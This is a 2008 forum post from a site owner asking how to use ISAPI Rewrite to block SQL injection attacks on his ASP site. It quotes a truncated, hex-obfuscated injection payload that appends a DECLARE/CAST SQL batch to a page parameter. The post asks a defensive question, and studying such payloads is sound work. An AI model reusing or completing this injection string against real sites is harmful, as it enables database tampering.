| Posted: 18 April 2008 at 12:21am | IP Logged
|
|
|
Hello
Recently, my site is suffering from SQL Injection from hackers.
The hack is very clever and cloaked so it is difficult to find in the IIS logs. I have now found a pattern and want to find a way to identify this using ISAPI Rewrite so I can redirect the URL before any damage is done.
During a POST the following is added
POST /somepage.asp ID=1;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F0
How can I check for the DECLARE keyword in the URL string using ISAPI Rewrite?
thanks
Matthew
|